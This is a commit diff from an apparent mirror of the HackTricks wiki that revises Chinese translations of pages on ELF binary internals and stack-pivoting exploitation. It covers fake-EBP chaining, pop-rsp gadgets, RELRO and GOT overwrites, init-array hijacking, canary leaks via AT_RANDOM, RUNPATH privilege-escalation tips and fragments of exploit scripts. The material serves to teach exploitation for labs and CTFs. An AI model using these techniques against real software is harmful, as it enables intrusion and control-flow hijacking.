mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
parent
800b0e7232
commit
5af5a6f77d
@ -881,7 +881,6 @@
|
||||
- [Interesting Http](todo/interesting-http.md)
|
||||
- [Rust Basics](todo/rust-basics.md)
|
||||
- [More Tools](todo/more-tools.md)
|
||||
- [MISC](todo/misc.md)
|
||||
- [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
|
||||
- [I2C](todo/hardware-hacking/i2c.md)
|
||||
|
||||
@ -37,7 +37,7 @@ Segment Sections...
|
||||
07
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
```
|
||||
之前的程序有**9个程序头**,然后,**段映射**指示每个节位于哪个程序头(从00到08)。
|
||||
之前的程序有 **9 个程序头**,然后,**段映射** 指示 **每个节所在的程序头**(从 00 到 08)。
|
||||
|
||||
### PHDR - 程序头
|
||||
|
||||
@ -47,20 +47,28 @@ Segment Sections...
|
||||
|
||||
指示用于将二进制文件加载到内存中的加载器的路径。
|
||||
|
||||
> 提示:静态链接或静态-PIE 二进制文件将没有 `INTERP` 条目。在这些情况下,没有动态加载器参与,这会禁用依赖于它的技术(例如,`ret2dlresolve`)。
|
||||
|
||||
### LOAD
|
||||
|
||||
这些头用于指示 **如何将二进制文件加载到内存中。**\
|
||||
每个**LOAD**头指示一个**内存**区域(大小、权限和对齐),并指示要复制到该区域的ELF **二进制文件的字节**。
|
||||
每个 **LOAD** 头指示一个 **内存** 区域(大小、权限和对齐),并指示要复制到该区域的 ELF **二进制字节**。
|
||||
|
||||
例如,第二个的大小为0x1190,应该位于0x1fc48,具有读写权限,并将从偏移量0xfc48填充0x528(它并没有填满所有的保留空间)。该内存将包含节`.init_array .fini_array .dynamic .got .data .bss`。
|
||||
例如,第二个的大小为 0x1190,应该位于 0x1fc48,具有读写权限,并将从偏移量 0xfc48 填充 0x528(它并没有填满所有的保留空间)。此内存将包含节 `.init_array .fini_array .dynamic .got .data .bss`。
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
该头有助于将程序链接到其库依赖项并应用重定位。查看**`.dynamic`**节。
|
||||
此头帮助将程序链接到其库依赖项并应用重定位。检查 **`.dynamic`** 节。
|
||||
|
||||
### NOTE
|
||||
|
||||
存储有关二进制文件的供应商元数据信息。
|
||||
此处存储有关二进制文件的供应商元数据信息。
|
||||
|
||||
- 在 x86-64 上,`readelf -n` 将显示 `.note.gnu.property` 中的 `GNU_PROPERTY_X86_FEATURE_1_*` 标志。如果您看到 `IBT` 和/或 `SHSTK`,则该二进制文件是使用 CET(间接分支跟踪和/或阴影栈)构建的。这会影响 ROP/JOP,因为间接分支目标必须以 `ENDBR64` 指令开头,并且返回会根据阴影栈进行检查。有关详细信息和绕过说明,请参见 CET 页面。
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
{{#endref}}
|
||||
|
||||
### GNU_EH_FRAME
|
||||
|
||||
@ -68,19 +76,27 @@ Segment Sections...
|
||||
|
||||
### GNU_STACK
|
||||
|
||||
包含堆栈执行防护配置。如果启用,二进制文件将无法从堆栈执行代码。
|
||||
包含堆栈执行防止防御的配置。如果启用,二进制文件将无法从堆栈执行代码。
|
||||
|
||||
- 使用 `readelf -l ./bin | grep GNU_STACK` 检查。要在测试期间强制切换,可以使用 `execstack -s|-c ./bin`。
|
||||
|
||||
### GNU_RELRO
|
||||
|
||||
指示二进制文件的 RELRO(重定位只读)配置。此保护将在程序加载后和开始运行之前,将内存的某些节(如 `GOT` 或 `init` 和 `fini` 表)标记为只读。
|
||||
|
||||
在之前的示例中,它将0x3b8字节复制到0x1fc48作为只读,影响节`.init_array .fini_array .dynamic .got .data .bss`。
|
||||
在前面的示例中,它将 0x3b8 字节复制到 0x1fc48 作为只读,影响节 `.init_array .fini_array .dynamic .got .data .bss`。
|
||||
|
||||
请注意,RELRO可以是部分或完整,部分版本不保护节**`.plt.got`**,该节用于**懒绑定**,并需要此内存空间具有**写权限**以在第一次搜索其位置时写入库的地址。
|
||||
请注意,RELRO 可以是部分或完整,部分版本不保护节 **`.plt.got`**,该节用于 **懒绑定**,并且需要此内存空间具有 **写权限** 以在第一次搜索其位置时写入库的地址。
|
||||
|
||||
> 有关利用技术和最新的绕过说明,请查看专门页面:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
{{#endref}}
|
||||
|
||||
### TLS
|
||||
|
||||
定义TLS条目的表,存储有关线程局部变量的信息。
|
||||
定义一个 TLS 条目表,存储有关线程局部变量的信息。
|
||||
|
||||
## 节头
|
||||
|
||||
@ -149,7 +165,7 @@ CONTENTS, READONLY
|
||||
|
||||
### 元部分
|
||||
|
||||
- **字符串表**:它包含 ELF 文件所需的所有字符串(但不包括程序实际使用的字符串)。例如,它包含像 `.text` 或 `.data` 这样的部分名称。如果 `.text` 在字符串表中的偏移量为 45,它将在 **name** 字段中使用数字 **45**。
|
||||
- **字符串表**:它包含 ELF 文件所需的所有字符串(但不包括程序实际使用的字符串)。例如,它包含像 `.text` 或 `.data` 这样的部分名称。如果 `.text` 在字符串表中的偏移量为 45,它将在**名称**字段中使用数字**45**。
|
||||
- 为了找到字符串表的位置,ELF 包含一个指向字符串表的指针。
|
||||
- **符号表**:它包含有关符号的信息,如名称(在字符串表中的偏移量)、地址、大小以及有关符号的更多元数据。
|
||||
|
||||
@ -159,7 +175,7 @@ CONTENTS, READONLY
|
||||
- **`.data`**:在程序中具有定义值的全局变量。
|
||||
- **`.bss`**:未初始化的全局变量(或初始化为零)。这里的变量会自动初始化为零,从而防止无用的零被添加到二进制文件中。
|
||||
- **`.rodata`**:常量全局变量(只读部分)。
|
||||
- **`.tdata`** 和 **`.tbss`**:与 .data 和 .bss 类似,当使用线程局部变量时(C++ 中的 `__thread_local` 或 C 中的 `__thread`)。
|
||||
- **`.tdata`** 和 **`.tbss`**:当使用线程局部变量时(C++ 中的 `__thread_local` 或 C 中的 `__thread`),类似于 .data 和 .bss。
|
||||
- **`.dynamic`**:见下文。
|
||||
|
||||
## 符号
|
||||
@ -190,10 +206,14 @@ Num: Value Size Type Bind Vis Ndx Name
|
||||
- **名称**
|
||||
- **绑定属性**(弱、局部或全局):局部符号只能被程序本身访问,而全局符号则在程序外部共享。弱对象例如是可以被不同函数覆盖的函数。
|
||||
- **类型**:NOTYPE(未指定类型)、OBJECT(全局数据变量)、FUNC(函数)、SECTION(节)、FILE(调试器的源代码文件)、TLS(线程局部变量)、GNU_IFUNC(用于重定位的间接函数)
|
||||
- **节**索引位置
|
||||
- **节**:它所在的索引
|
||||
- **值**(内存中的地址)
|
||||
- **大小**
|
||||
|
||||
#### GNU符号版本控制(dynsym/dynstr/gnu.version)
|
||||
|
||||
现代glibc使用符号版本。您将在`.gnu.version`和`.gnu.version_r`中看到条目,以及像`strlen@GLIBC_2.17`这样的符号名称。动态链接器在解析符号时可能需要特定版本。当手动制作重定位(例如ret2dlresolve)时,您必须提供正确的版本索引,否则解析将失败。
|
||||
|
||||
## 动态节
|
||||
```
|
||||
readelf -d lnstat
|
||||
@ -229,11 +249,28 @@ Tag Type Name/Value
|
||||
0x000000006ffffff9 (RELACOUNT) 15
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
```
|
||||
NEEDED 目录指示程序 **需要加载提到的库** 以便继续。NEEDED 目录在共享 **库完全运行并准备好** 使用后完成。
|
||||
The NEEDED directory indicates that the program **需要加载提到的库**以继续。NEEDED目录在共享**库完全操作并准备好**使用后完成。
|
||||
|
||||
### 动态加载器搜索顺序 (RPATH/RUNPATH, $ORIGIN)
|
||||
|
||||
条目`DT_RPATH`(已弃用)和/或`DT_RUNPATH`影响动态加载器搜索依赖项的位置。大致顺序:
|
||||
|
||||
- `LD_LIBRARY_PATH`(对于setuid/sgid或其他“安全执行”程序被忽略)
|
||||
- `DT_RPATH`(仅在`DT_RUNPATH`缺失时)
|
||||
- `DT_RUNPATH`
|
||||
- `ld.so.cache`
|
||||
- 默认目录如`/lib64`、`/usr/lib64`等。
|
||||
|
||||
`$ORIGIN`可以在RPATH/RUNPATH中使用,以引用主对象的目录。从攻击者的角度来看,当你控制文件系统布局或环境时,这一点很重要。对于加固的二进制文件(AT_SECURE),加载器会忽略大多数环境变量。
|
||||
|
||||
- 检查方法:`readelf -d ./bin | egrep -i 'r(path|unpath)'`
|
||||
- 快速测试:`LD_DEBUG=libs ./bin 2>&1 | grep -i find`(显示搜索路径决策)
|
||||
|
||||
> Priv-esc提示:优先利用可写的RUNPATH或由你拥有的配置错误的`$ORIGIN`相对路径。在安全执行(setuid)上下文中,LD_PRELOAD/LD_AUDIT会被忽略。
|
||||
|
||||
## 重定位
|
||||
|
||||
加载器在加载依赖项后还必须进行重定位。这些重定位在重定位表中以 REL 或 RELA 格式指示,重定位的数量在动态部分 RELSZ 或 RELASZ 中给出。
|
||||
加载器在加载依赖项后还必须重定位它们。这些重定位在重定位表中以REL或RELA格式指示,重定位的数量在动态部分RELSZ或RELASZ中给出。
|
||||
```
|
||||
readelf -r lnstat
|
||||
|
||||
@ -274,7 +311,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
00000001fea0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0
|
||||
00000001fea8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
|
||||
00000001feb0 000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0
|
||||
00000001feb8 000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0
|
||||
00000001fec0 000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0
|
||||
00000001fec8 001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0
|
||||
00000001fed0 001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0
|
||||
@ -314,17 +350,35 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
|
||||
### 动态重定位和GOT
|
||||
|
||||
重定位也可以引用外部符号(如依赖项中的函数)。例如,libC中的malloc函数。然后,加载器在加载libC时检查malloc函数加载的位置,它会将此地址写入GOT(全局偏移表)(在重定位表中指示)中,malloc的地址应该在此处指定。
|
||||
重定位也可以引用外部符号(如依赖项中的函数)。例如,来自libC的malloc函数。然后,加载器在加载libC时检查malloc函数加载的位置,它会将此地址写入GOT(全局偏移表)中(在重定位表中指示),其中应指定malloc的地址。
|
||||
|
||||
### 过程链接表
|
||||
|
||||
PLT节允许执行延迟绑定,这意味着函数位置的解析将在第一次访问时进行。
|
||||
PLT节允许执行懒绑定,这意味着函数位置的解析将在第一次访问时进行。
|
||||
|
||||
因此,当程序调用malloc时,它实际上调用的是PLT中`malloc`的相应位置(`malloc@plt`)。第一次调用时,它解析`malloc`的地址并存储,以便下次调用`malloc`时,使用该地址而不是PLT代码。
|
||||
|
||||
#### 影响利用的现代链接行为
|
||||
|
||||
- `-z now`(完全RELRO)禁用懒绑定;PLT条目仍然存在,但GOT/PLT被映射为只读,因此像**GOT覆盖**和**ret2dlresolve**这样的技术将无法对主二进制文件生效(库可能仍然部分RELRO)。见:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
{{#endref}}
|
||||
|
||||
- `-fno-plt`使编译器通过**GOT条目直接**调用外部函数,而不是通过PLT存根。你会看到调用序列如`mov reg, [got]; call reg`而不是`call func@plt`。这减少了投机执行滥用,并稍微改变了围绕PLT存根的ROP小工具搜索。
|
||||
|
||||
- PIE与静态-PIE:PIE(ET_DYN带`INTERP`)需要动态加载器并支持通常的PLT/GOT机制。静态-PIE(ET_DYN不带`INTERP`)由内核加载器应用重定位,并且没有`ld.so`;期望在运行时没有PLT解析。
|
||||
|
||||
> 如果GOT/PLT不是一个选项,可以转向其他可写代码指针或使用经典ROP/SROP进入libc。
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/aw2exec-got-plt.md
|
||||
{{#endref}}
|
||||
|
||||
## 程序初始化
|
||||
|
||||
在程序加载后,是时候运行它了。然而,运行的第一段代码**并不总是`main`**函数。这是因为例如在C++中,如果**全局变量是一个类的对象**,则该对象必须在main运行**之前**进行**初始化**,如:
|
||||
在程序加载后,是时候运行它了。然而,运行的第一段代码**并不总是`main`**函数。这是因为例如在C++中,如果**全局变量是一个类的对象**,则该对象必须在main运行之前**初始化**,如:
|
||||
```cpp
|
||||
#include <stdio.h>
|
||||
// g++ autoinit.cpp -o autoinit
|
||||
@ -345,19 +399,29 @@ printf("Main\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
请注意,这些全局变量位于 `.data` 或 `.bss` 中,但在 `__CTOR_LIST__` 和 `__DTOR_LIST__` 列表中,初始化和析构的对象被存储以便跟踪它们。
|
||||
注意,这些全局变量位于 `.data` 或 `.bss` 中,但在 `__CTOR_LIST__` 和 `__DTOR_LIST__` 列表中,初始化和析构的对象按顺序存储,以便跟踪它们。
|
||||
|
||||
从 C 代码中,可以使用 GNU 扩展获得相同的结果:
|
||||
```c
|
||||
__attributte__((constructor)) //Add a constructor to execute before
|
||||
__attributte__((destructor)) //Add to the destructor list
|
||||
```
|
||||
从编译器的角度来看,为了在执行 `main` 函数之前和之后执行这些操作,可以创建一个 `init` 函数和一个 `fini` 函数,这些函数将在动态部分中被引用为 **`INIT`** 和 **`FIN`**,并被放置在 ELF 的 `init` 和 `fini` 部分。
|
||||
从编译器的角度来看,为了在执行 `main` 函数之前和之后执行这些操作,可以创建一个 `init` 函数和一个 `fini` 函数,这些函数将在动态部分中被引用为 **`INIT`** 和 **`FIN`**,并被放置在 ELF 的 `init` 和 `fini` 部分中。
|
||||
|
||||
另一个选项,如前所述,是在动态部分的 **`INIT_ARRAY`** 和 **`FINI_ARRAY`** 条目中引用列表 **`__CTOR_LIST__`** 和 **`__DTOR_LIST__`**,这些的长度由 **`INIT_ARRAYSZ`** 和 **`FINI_ARRAYSZ`** 指示。每个条目都是一个函数指针,将在没有参数的情况下被调用。
|
||||
另一种选择,如前所述,是在动态部分的 **`INIT_ARRAY`** 和 **`FINI_ARRAY`** 条目中引用列表 **`__CTOR_LIST__`** 和 **`__DTOR_LIST__`**,这些条目的长度由 **`INIT_ARRAYSZ`** 和 **`FINI_ARRAYSZ`** 指示。每个条目都是一个函数指针,将在没有参数的情况下被调用。
|
||||
|
||||
此外,还可以有一个 **`PREINIT_ARRAY`**,其中包含将在 **`INIT_ARRAY`** 指针之前执行的 **指针**。
|
||||
|
||||
#### 利用注意事项
|
||||
|
||||
- 在部分 RELRO 下,这些数组位于在 `ld.so` 将 `PT_GNU_RELRO` 切换为只读之前仍然可写的页面中。如果你能在足够早的时候获得任意写入,或者你可以针对库的可写数组,你可以通过用你选择的函数覆盖一个条目来劫持控制流。在完全 RELRO 下,它们在运行时是只读的。
|
||||
|
||||
- 有关动态链接器的惰性绑定滥用以在运行时解析任意符号,请参见专门页面:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2dlresolve.md
|
||||
{{#endref}}
|
||||
|
||||
### 初始化顺序
|
||||
|
||||
1. 程序被加载到内存中,静态全局变量在 **`.data`** 中初始化,未初始化的变量在 **`.bss`** 中被置为零。
|
||||
@ -369,7 +433,7 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
|
||||
## 线程局部存储 (TLS)
|
||||
|
||||
它们在 C++ 中使用关键字 **`__thread_local`** 定义,或使用 GNU 扩展 **`__thread`**。
|
||||
它们在 C++ 中使用关键字 **`__thread_local`** 或 GNU 扩展 **`__thread`** 定义。
|
||||
|
||||
每个线程将为此变量维护一个唯一的位置,因此只有该线程可以访问其变量。
|
||||
|
||||
@ -379,4 +443,31 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
|
||||
`__TLS_MODULE_BASE` 是一个符号,用于引用线程局部存储的基地址,并指向内存中包含模块所有线程局部数据的区域。
|
||||
|
||||
## 辅助向量 (auxv) 和 vDSO
|
||||
|
||||
Linux 内核向进程传递一个辅助向量,包含运行时有用的地址和标志:
|
||||
|
||||
- `AT_RANDOM`:指向 16 个随机字节,glibc 用于栈金丝雀和其他 PRNG 种子。
|
||||
- `AT_SYSINFO_EHDR`:vDSO 映射的基地址(方便查找 `__kernel_*` 系统调用和小工具)。
|
||||
- `AT_EXECFN`、`AT_BASE`、`AT_PAGESZ` 等。
|
||||
|
||||
作为攻击者,如果你可以读取 `/proc` 下的内存或文件,你通常可以在目标进程中泄漏这些信息,而无需信息泄漏:
|
||||
```bash
|
||||
# Show the auxv of a running process
|
||||
cat /proc/$(pidof target)/auxv | xxd
|
||||
|
||||
# From your own process (helper snippet)
|
||||
#include <sys/auxv.h>
|
||||
#include <stdio.h>
|
||||
int main(){
|
||||
printf("AT_RANDOM=%p\n", (void*)getauxval(AT_RANDOM));
|
||||
printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR));
|
||||
}
|
||||
```
|
||||
泄露 `AT_RANDOM` 如果你能解引用那个指针,会给你 canary 值;`AT_SYSINFO_EHDR` 给你一个 vDSO 基址,可以挖掘 gadgets 或直接调用快速系统调用。
|
||||
|
||||
## References
|
||||
|
||||
- ld.so(8) – 动态加载器搜索顺序,RPATH/RUNPATH,安全执行规则 (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
|
||||
- getauxval(3) – 辅助向量和 AT_* 常量: https://man7.org/linux/man-pages/man3/getauxval.3.html
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
此技术利用操控 **基指针 (EBP/RBP)** 的能力,通过仔细使用帧指针和 **`leave; ret`** 指令序列来链接多个函数的执行。
|
||||
此技术利用操纵 **基指针 (EBP/RBP)** 的能力,通过仔细使用帧指针和 **`leave; ret`** 指令序列来链接多个函数的执行。
|
||||
|
||||
作为提醒,在 x86/x86-64 中 **`leave`** 等同于:
|
||||
```
|
||||
@ -22,7 +22,7 @@ ret
|
||||
|
||||
当你可以 **更改保存的 EBP/RBP 但没有直接方法更改 EIP/RIP** 时,这种技术特别有用。它利用了函数尾声的行为。
|
||||
|
||||
如果在 `fvuln` 执行期间,你设法在栈中注入一个 **假 EBP**,指向内存中你的 shellcode/ROP 链地址所在的区域(在 amd64 上加 8 字节 / 在 x86 上加 4 字节以考虑 `pop`),你可以间接控制 RIP。当函数返回时,`leave` 将 RSP 设置为构造的位置,随后的 `pop rbp` 减少 RSP,**有效地使其指向攻击者存储的地址**。然后 `ret` 将使用该地址。
|
||||
如果在 `fvuln` 执行期间,你设法在栈中注入一个 **伪 EBP**,指向内存中你的 shellcode/ROP 链地址所在的区域(在 amd64 上加 8 字节 / 在 x86 上加 4 字节以考虑 `pop`),你可以间接控制 RIP。当函数返回时,`leave` 将 RSP 设置为构造的位置,随后的 `pop rbp` 减少 RSP,**有效地使其指向攻击者存储的地址**。然后 `ret` 将使用该地址。
|
||||
|
||||
注意你 **需要知道 2 个地址**:ESP/RSP 将要去的地址,以及 `ret` 将消耗的存储在该地址的值。
|
||||
|
||||
@ -37,26 +37,26 @@ ret
|
||||
- 一个 **`jmp esp;`** gadget 的地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后面跟着内联 shellcode。
|
||||
- 一个在可写内存中分阶段的 [**ROP**](../rop-return-oriented-programing/index.html) 链。
|
||||
|
||||
记住,在这些地址之前,受控区域中必须有 **`pop ebp/rbp`** 的空间(amd64 上为 8B,x86 上为 4B)。你可以利用这些字节设置一个 **第二个假 EBP**,并在第一次调用返回后保持控制。
|
||||
记住,在这些地址之前,受控区域中必须有 **`pop ebp/rbp`** 的空间(amd64 上为 8B,x86 上为 4B)。你可以利用这些字节设置一个 **第二个伪 EBP**,并在第一次调用返回后保持控制。
|
||||
|
||||
#### Off-By-One 利用
|
||||
|
||||
当你 **只能修改保存的 EBP/RBP 的最低有效字节** 时,会使用一种变体。在这种情况下,存储要跳转到的地址的内存位置必须与原始 EBP/RBP 共享前三/五个字节,以便 1 字节的覆盖可以重定向它。通常低字节(偏移量 0x00)会增加,以尽可能远地跳转到附近的页面/对齐区域。
|
||||
当你 **只能修改保存的 EBP/RBP 的最低有效字节** 时,有一种变体。在这种情况下,存储要跳转的地址的内存位置必须与原始 EBP/RBP 共享前 3/5 个字节,以便 1 字节的覆盖可以重定向它。通常低字节(偏移量 0x00)会增加,以尽可能远地跳转到附近的页面/对齐区域。
|
||||
|
||||
在栈中使用 RET sled 并将真实的 ROP 链放在末尾也是常见的做法,以使新的 RSP 更有可能指向 sled 内部,并执行最终的 ROP 链。
|
||||
在栈中使用 RET sled 并将真实的 ROP 链放在末尾也是常见的做法,以使新的 RSP 更有可能指向 sled 内部并执行最终的 ROP 链。
|
||||
|
||||
### EBP 链接
|
||||
|
||||
通过在栈的保存 `EBP` 槽中放置一个受控地址,并在 `EIP/RIP` 中放置一个 `leave; ret` gadget,可以 **将 `ESP/RSP` 移动到攻击者控制的地址**。
|
||||
通过在栈的保存 `EBP` 插槽中放置一个受控地址,并在 `EIP/RIP` 中放置一个 `leave; ret` gadget,可以 **将 `ESP/RSP` 移动到攻击者控制的地址**。
|
||||
|
||||
现在 `RSP` 被控制,下一条指令是 `ret`。在受控内存中放置类似以下内容:
|
||||
|
||||
- `&(next fake EBP)` -> 由 `leave` 中的 `pop ebp/rbp` 加载。
|
||||
- `&(next fake EBP)` -> 由 `leave` 的 `pop ebp/rbp` 加载。
|
||||
- `&system()` -> 由 `ret` 调用。
|
||||
- `&(leave;ret)` -> 在 `system` 结束后,将 RSP 移动到下一个假 EBP 并继续。
|
||||
- `&(leave;ret)` -> 在 `system` 结束后,将 RSP 移动到下一个伪 EBP 并继续。
|
||||
- `&("/bin/sh")` -> `system` 的参数。
|
||||
|
||||
通过这种方式,可以链接多个假 EBP 来控制程序的流程。
|
||||
通过这种方式,可以链接多个伪 EBP 来控制程序的流程。
|
||||
|
||||
这类似于 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html),但更复杂,仅在边缘情况下有用。
|
||||
|
||||
@ -96,11 +96,11 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
> amd64 对齐提示:System V ABI 要求在调用点进行 16 字节的栈对齐。如果你的链调用像 `system` 这样的函数,请在调用之前添加一个对齐小工具(例如,`ret` 或 `sub rsp, 8 ; ret`)以保持对齐并避免 `movaps` 崩溃。
|
||||
> amd64 对齐提示:System V ABI 在调用点要求 16 字节的栈对齐。如果你的链调用了像 `system` 这样的函数,请在调用之前添加一个对齐小工具(例如,`ret` 或 `sub rsp, 8 ; ret`)以保持对齐并避免 `movaps` 崩溃。
|
||||
|
||||
## EBP 可能未被使用
|
||||
|
||||
正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化或省略帧指针编译的,**EBP/RBP 从未控制 ESP/RSP**。因此,任何通过控制 EBP/RBP 的利用都会失败,因为序言/尾声不会从帧指针恢复。
|
||||
正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化或省略帧指针编译的,**EBP/RBP 从未控制 ESP/RSP**。因此,任何通过控制 EBP/RBP 的利用都会失败,因为序言/尾声并没有从帧指针恢复。
|
||||
|
||||
- 未优化 / 使用帧指针:
|
||||
```bash
|
||||
@ -113,7 +113,7 @@ sub $0x100,%esp # increase stack size
|
||||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
- 优化 / 框架指针省略:
|
||||
- 优化 / 帧指针省略:
|
||||
```bash
|
||||
push %ebx # save callee-saved register
|
||||
sub $0x100,%esp # increase stack size
|
||||
@ -128,9 +128,9 @@ ret # return
|
||||
|
||||
## 控制RSP的其他方法
|
||||
|
||||
### `pop rsp` gadget
|
||||
### `pop rsp`小工具
|
||||
|
||||
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)你可以找到使用此技术的示例。对于该挑战,需要调用一个带有两个特定参数的函数,并且有一个**`pop rsp` gadget**,还有一个**来自栈的泄漏**:
|
||||
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)你可以找到使用此技术的示例。对于那个挑战,需要调用一个带有两个特定参数的函数,并且有一个**`pop rsp`小工具**以及**来自栈的泄漏**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -182,7 +182,7 @@ xchg <reg>, rsp
|
||||
```
|
||||
### jmp esp
|
||||
|
||||
在这里查看 ret2esp 技术:
|
||||
查看 ret2esp 技术:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
@ -210,7 +210,7 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
|
||||
在许多CTF/漏洞中使用的强大透视策略:
|
||||
|
||||
1) 使用小的初始溢出调用 `read`/`recv` 到一个大的可写区域(例如,`.bss`、堆或映射的RW内存),并将完整的ROP链放置在那里。
|
||||
1) 使用小的初始溢出调用 `read`/`recv` 到一个大的可写区域(例如,`.bss`、堆或映射的RW内存),并将完整的ROP链放在那里。
|
||||
2) 返回到一个透视小工具(`leave ; ret`、`pop rsp`、`xchg rax, rsp ; ret`)以将RSP移动到该区域。
|
||||
3) 继续使用分阶段链(例如,泄漏libc,调用 `mprotect`,然后 `read` shellcode,然后跳转到它)。
|
||||
|
||||
@ -240,15 +240,15 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
```
|
||||
- 实验室/CTF 注意事项:
|
||||
- 一些现代发行版在硬件和 glibc 支持存在时,为启用 CET 的二进制文件启用 SHSTK。对于在虚拟机中的受控测试,可以通过内核启动参数 `nousershstk` 全局禁用 SHSTK,或在启动时通过 glibc 可调参数选择性启用(参见参考文献)。不要在生产目标上禁用缓解措施。
|
||||
- 基于 JOP/COOP 或 SROP 的技术在某些目标上仍然可能有效,但 SHSTK 特别破坏了基于 `ret` 的枢轴。
|
||||
- 基于 JOP/COOP 或 SROP 的技术在某些目标上仍然可能有效,但 SHSTK 特别会破坏基于 `ret` 的枢轴。
|
||||
|
||||
- Windows 注意事项:Windows 10+ 暴露用户模式,Windows 11 添加了基于“硬件强制堆栈保护”的内核模式,建立在阴影堆栈之上。兼容 CET 的进程在 `ret` 时防止堆栈枢轴/ROP;开发人员通过 CETCOMPAT 和相关策略选择加入(参见参考文献)。
|
||||
- Windows 注意事项:Windows 10+ 暴露用户模式,Windows 11 添加了基于影子栈的内核模式“硬件强制栈保护”。兼容 CET 的进程在 `ret` 时防止栈枢轴/ROP;开发人员通过 CETCOMPAT 和相关策略选择加入(参见参考文献)。
|
||||
|
||||
## ARM64
|
||||
|
||||
在 ARM64 中,函数的 **前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外,**`RET`** 指令不会返回到 SP 指向的地址,而是 **返回到 `x30` 内的地址**。
|
||||
在 ARM64 中,**函数的前言和尾声** **不在栈中存储和检索 SP 寄存器**。此外,**`RET`** 指令不会返回到 SP 指向的地址,而是 **返回到 `x30` 内的地址**。
|
||||
|
||||
因此,默认情况下,仅仅利用尾声你 **无法通过覆盖堆栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP,你仍然需要一种方法来 **控制 `x30`** 寄存器。
|
||||
因此,默认情况下,仅仅利用尾声你 **无法通过覆盖栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP,你仍然需要一种方法来 **控制 `x30`** 寄存器。
|
||||
|
||||
- 前言
|
||||
|
||||
@ -267,9 +267,9 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> 在 ARM64 中执行类似堆栈枢轴的方式是能够 **控制 `SP`**(通过控制某个寄存器,其值传递给 `SP`,或者因为某种原因 `SP` 从堆栈获取其地址而我们有溢出)然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
|
||||
> 在 ARM64 中执行类似于栈枢轴的操作的方法是能够 **控制 `SP`**(通过控制某个寄存器,其值传递给 `SP`,或因为某种原因 `SP` 从栈中获取其地址而我们有溢出),然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
|
||||
|
||||
在以下页面中,你可以看到 **Ret2esp 在 ARM64 中的等效物**:
|
||||
在以下页面中,你可以看到 **Ret2esp 在 ARM64 中的等价物**:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
@ -280,10 +280,10 @@ ret
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 位,越界利用,使用以 ret sled 开头的 rop 链
|
||||
